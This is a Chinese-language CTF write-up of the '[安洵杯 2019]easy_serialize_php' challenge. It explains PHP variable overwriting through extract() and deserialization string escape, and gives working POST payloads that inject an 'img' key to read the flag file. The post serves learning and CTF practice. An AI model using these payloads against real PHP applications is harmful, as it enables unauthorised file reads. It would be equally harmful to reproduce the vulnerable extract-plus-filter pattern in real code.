2021-7-22 [安洵杯 2019]easy_serialize_php 知识点:变量覆盖,php反序列化字符串逃逸

文章目录


前言

本身是要在昨天解这题的,结果解着解着就去做了session反序列化的题目了o(╥﹏╥)o,于是昨天的题今天做(o)/~,这个知识点也是第一次遇到,菜菜的我学习到了,翻阅了很多大佬的博客才一知半解,需要继续努力!!!
本次使用了两种解法,可以说这个知识点算是印象深刻了!!!


重要知识点

先附上大佬们的blog:
https://www.cnblogs.com/h3zh1/p/12732336.html
https://www.cnblogs.com/LLeaves/p/12813992.html
https://blog.csdn.net/a3320315/article/details/104118688/


变量覆盖:

extract示例讲解网站
extract():

作用:
从数组中将变量导入到当前的符号表;该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量

示例:

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
//输出:$a = Cat; $b = Dog; $c = Horse 

PHP序列化和反序列化

php序列化格式讲解
这次主要用到的是数组的序列化格式,所以主要讲关于数组序列化后的格式:
想了解一下字母含义(都是字面意思):

a - array b - boolean d - double i - integer o - common object
r -reference s - string C - custom object O - class N - null R - pointer U - unicode

看一下关于数组序列化的示例:

<?php
$_SESSION['flag']='123';
$temp=serialize($_SESSION);
print_r($temp);
?>
输出:a:1:{s:4:"flag";s:3:"123";}  ,可以看到SESSION数组序列化过后变成了一个字符串:
解释:a-数组,1-有一个元素,s-字符串,4-4个字符,“flag”-键名,所以后面的“123”就是值。
同时注意,序列化后的字符串最后面的}(右花括号)如果在后面添加一些无关内容,是不会对后续的反序列化产生影响的。

接下来讲讲本题最重要的反序列化过程中的字符串逃逸:
现在先设置SESSION数组有两个元素有着正常的内容:

<?php
$_SESSION['user']='flag';
$_SESSION['function']='666';
$temp=serialize($_SESSION);
print_r($temp);
echo("\n");
$temp=unserialize($temp);
print_r($temp);
?>
输出:
a:2:{s:4:"user";s:4:"flag";s:8:"function";s:3:"666";}
Array
(
    [user] => flag
    [function] => 666
)

那如果有一个过滤函数想要过滤“flag”,那么序列化后的字符串再被过滤就变成了:

a:2:{s:4:"user";s:4:"";s:8:"function";s:3:"666";}  可以看到flag被过滤了

但是在被反序列化的时候,它仍然会向后检测4个字符如果符合要求,仍然会被反序列化,所以只要我们精心构造,想必可以造成一定的危害。
示例:
构造一个序列化结果为这个的:

a:2:{s:4:"user";s:24:"~~flagflagflagflagflagflag~~ ";s:8:"function";s:24:"a";s:3:"img";s:3:"123";}";}

则若flag全部被过滤后:

a:2:{s:4:"user";s:24:"**";s:8:"function";s:24:"a**";s:3:"img";s:3:"123";}";}

如果是这个字符串被反序列化的话,那么SESSION数组就被改变了,因为刚好数24个字符满足要求!
反序列化输出结果:

Array
(
    [user] => ";s:8:"function";s:24:"a
    [img] => 123
)

这就是所谓的反序列化后的字符串逃逸。


小知识点(需要反复注意):

①_SESSION[]在POST传参时【】中不需要单引号或者双引号。
②POST传参赋值时,等号右边赋值不用单双引号。
③构造payload的时候,一定一定要注意;(分号)闭合,孩子给整麻了o(╥﹏╥)o。


解题过程

在BUU实现题目复现,打开题目网站,发现源码,立马分析:

 <?php
$function = @$_GET['f'];
//给f参数GET传参,然后对$function 赋值
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
//filter主要是一个过滤函数,过滤了5个字符串。
if($_SESSION){
    unset($_SESSION);
}
//删除了SESSION数组的值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//设置里SESSION数组的user和function的值
extract($_POST);
//post传参,明显的变量覆盖!!!
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
//这里对img_path是否GET传参做了判定,然后分别不同进行赋值
$serialize_info = filter(serialize($_SESSION));
//对SESSION数组进行序列化然后再filter过滤
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!(有重要信息在phpinfo里,猜测flag地址)
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 
//对$functio(就是f)的值做不同的判定,然后输出不同的结果,值得注意的是,
//当$function=show_image时,会对$serialize_info(就是序列化并过滤后的SESSION数组)反序列化,
//然后再输出数组中键名为“img”的文件内容。

经过上面详细对源码的分析,可以很清楚的知道可以构造序列化的字符串,传入构成反序列化的字符串逃逸。
先进入phpinfo,查看关键信息,看到了 d0g3_f1ag.php(base64编码后:ZDBnM19mMWFnLnBocA==) 重要地址:
2021-7-22 [安洵杯 2019]easy_serialize_php 知识点:变量覆盖,php反序列化字符串逃逸


然后正式解答
主要有两种解法:
注意:记住由源码可以看出原SESSION数组会有三个元素:user,function,img。

①真正利用变量覆盖,并且过滤的是值(修改值):
首先令f=show_image,
然后利用题目所给的 S E S S I O N [ " u s e r " ] = ′ g u e s t ′ 和 _SESSION["user"] = 'guest'和 S​ESSION["user"]=′guest′和_SESSION[‘function’] = $function进行变量覆盖,
构造payload过程:

<?php
$_SESSION['user']='flagflagflagflagflagflag';
$_SESSION['function']='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}';
$_SESSION['img']='123';
$temp=serialize($_SESSION);
print_r($temp);
echo("\n");
$temp=preg_replace('/flag/','',$temp);
echo($temp);
echo("\n");
$temp=unserialize($temp);
print_r($temp);
?>


输出结果:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}";s:3:"img";s:3:"123";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}";s:3:"img";s:3:"123";}
Array
(
    [user] => ";s:8:"function";s:61:"a
    [img] => ZDBnM19mMWFnLnBocA==
    [dd] => 123
)

成功逃逸出来一个img,将原来的img覆盖掉了 (不过我尝试了一下如果img如果在最前面就赋值了的话,这个方法就不可行了)
所以可以构造payload,再POST传参(注意传参时【】里面不需要单引号或双引号,也不需要$):

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"123";}

2021-7-22 [安洵杯 2019]easy_serialize_php 知识点:变量覆盖,php反序列化字符串逃逸
$flag = ‘flag in /d0g3_fllllllag’; 发现flag地址,base64一下:L2QwZzNfZmxsbGxsbGFn

变换payload再POST:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:3:"123";}

2021-7-22 [安洵杯 2019]easy_serialize_php 知识点:变量覆盖,php反序列化字符串逃逸
拿到flag:flag{e7c5c85d-919e-45f1-a6ba-7e645a38f1cf}

②不需要变量覆盖,过滤键值(修改键名):

尝试构造的脚本:

<?php
$_SESSION['user']='123';
$_SESSION['function']='111';
$_SESSION['flagphp']=';s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='123';
$temp=serialize($_SESSION);
print_r($temp);
echo("\n");
$temp=preg_replace('/flagphp/','',$temp);
echo($temp);
echo("\n");
$temp=unserialize($temp);
print_r($temp);
?>
输出结果:
a:4:{s:4:"user";s:3:"123";s:8:"function";s:3:"111";s:7:"flagphp";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"123";}
a:4:{s:4:"user";s:3:"123";s:8:"function";s:3:"111";s:7:"";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"123";}
Array
(
    [user] => 123
    [function] => 111
    [";s:50:] => 123
    [img] => ZDBnM19mMWFnLnBocA==
)
发现成功了

立马利用burpsuit进行POST传参:
2021-7-22 [安洵杯 2019]easy_serialize_php 知识点:变量覆盖,php反序列化字符串逃逸
base64以下路径,再POST传参得到flag:

2021-7-22 [安洵杯 2019]easy_serialize_php 知识点:变量覆盖,php反序列化字符串逃逸


总结

本次最主要学习了php中反序列化的字符串逃逸,我觉得最主要的就是过滤函数过滤键名或者值,导致本身序列化后字符串的结构发生改变,所以可以导致后续一系列的构造注入,造成字符串的溢出,覆盖原来的元素,导致数组发生改变。虽然学习的到了还很漫长,希望不忘初心,砥砺前行!

上一篇:2021-07-23


下一篇:闭包